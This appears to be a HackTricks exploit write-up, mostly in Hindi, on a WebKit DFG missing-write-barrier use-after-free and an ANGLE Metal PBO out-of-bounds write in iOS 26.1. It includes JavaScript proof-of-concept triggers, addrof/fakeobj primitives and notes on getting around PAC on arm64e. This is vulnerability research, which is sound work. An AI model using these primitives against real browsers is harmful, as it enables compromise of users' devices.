WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

  • DFG Store Barrier bug (CVE-2025-43529): DFGStoreBarrierInsertionPhase.cpp में, एक Phi node जिसे escaped के रूप में मार्क किया गया है जबकि उसके Upsilon inputs नहीं हैं यह phase subsequent object stores पर write barrier डालने से रोकता है। GC दबाव में यह JSC को अभी भी पहुँच में रहे objects को free करने देता है → use-after-free
  • Exploit लक्ष्य: एक Date object को मजबूर करें कि वह एक butterfly materialize करे (उदा., a[0] = 1.1) ताकि butterfly free हो जाए, फिर उसे array element storage के रूप में reclaimed करके boxed/unboxed भ्रम बनाया जा सके → addrof/fakeobj primitives।
  • ANGLE Metal PBO bug (CVE-2025-14174): Metal backend PBO staging buffer को वास्तविक texture height के बजाय UNPACK_IMAGE_HEIGHT का उपयोग करके allocate करता है। छोटा unpack height देने के बाद बड़ा texImage2D चलाने से staging-buffer OOB write होता है (~240KB नीचे के PoC में)।
  • PAC blockers on arm64e (iOS 26.1): TypedArray m_vector और JSArray butterfly PAC-signed हैं; attacker-chosen pointers के साथ fake objects बनाना EXC_BAD_ACCESS/EXC_ARM_PAC के साथ crash कर देता है। केवल already-signed butterflies (boxed/unboxed reinterpretation) का reuse काम करता है।

DFG missing barrier → UAF को ट्रिगर करना

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Key points:

  • जनरेशन बैरियर्स को सक्रिय करने के लिए A को old space में रखें।
  • एक indexed Date बनाएं ताकि butterfly मुक्त लक्ष्य बन जाए।
  • GC को मजबूर करने और race को बढ़ाने के लिए ArrayBuffer(0x800000) को spray करें।
  • Phi/Upsilon escape mismatch barrier insertion को रोकता है; b.p1 = a without a write barrier चलता है, इसलिए GC a/butterfly को reclaim कर लेता है।

Butterfly reclaim → boxed/unboxed confusion

GC Date butterfly को free करने के बाद, freed slab को दो arrays के elements के रूप में पुन: उपयोग करने के लिए arrays को spray करें जिनके अलग-अलग element kinds हैं:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

स्थिति iOS 26.1 (arm64e) पर:

  • काम कर रहा है: addrof, fakeobj, प्रति रन 20+ address leaks, inline-slot read/write (known inline fields पर)।
  • अभी तक स्थिर नहीं: inline-slot backings के माध्यम से सामान्यीकृत read64/write64

arm64e पर PAC प्रतिबंध (क्यों fake objects crash)

  • TypedArray m_vector और JSArray butterfly PAC-signed हैं; pointers को forge करने पर EXC_BAD_ACCESS / सम्भवतः EXC_ARM_PAC होता है।
  • The confusion primitive काम करती है क्योंकि यह reuses legitimate signed butterflies; unsigned attacker pointers पेश करने पर authentication फेल हो जाती है।
  • संभावित बायपास विचार: JIT paths जो auth को स्किप करते हैं, gadgets जो attacker pointers को sign करते हैं, या ANGLE OOB के माध्यम से pivot करना।

ANGLE Metal PBO under-allocation → OOB write

एक बहुत छोटा unpack height इस्तेमाल करके staging buffer को छोटा करें, फिर एक बड़ा texture upload करें ताकि copy overrun हो जाए:

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

नोट्स:

  • Bug TextureMtl.cpp में: PBO path पर staging buffer वास्तविक texture height की बजाय UNPACK_IMAGE_HEIGHT का उपयोग करता है।
  • reference probe में WebGL2 PBO trigger प्लम्ब्ड किया गया है लेकिन iOS 26.1 पर अभी तक इसे विश्वसनीय रूप से देखा नहीं गया है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें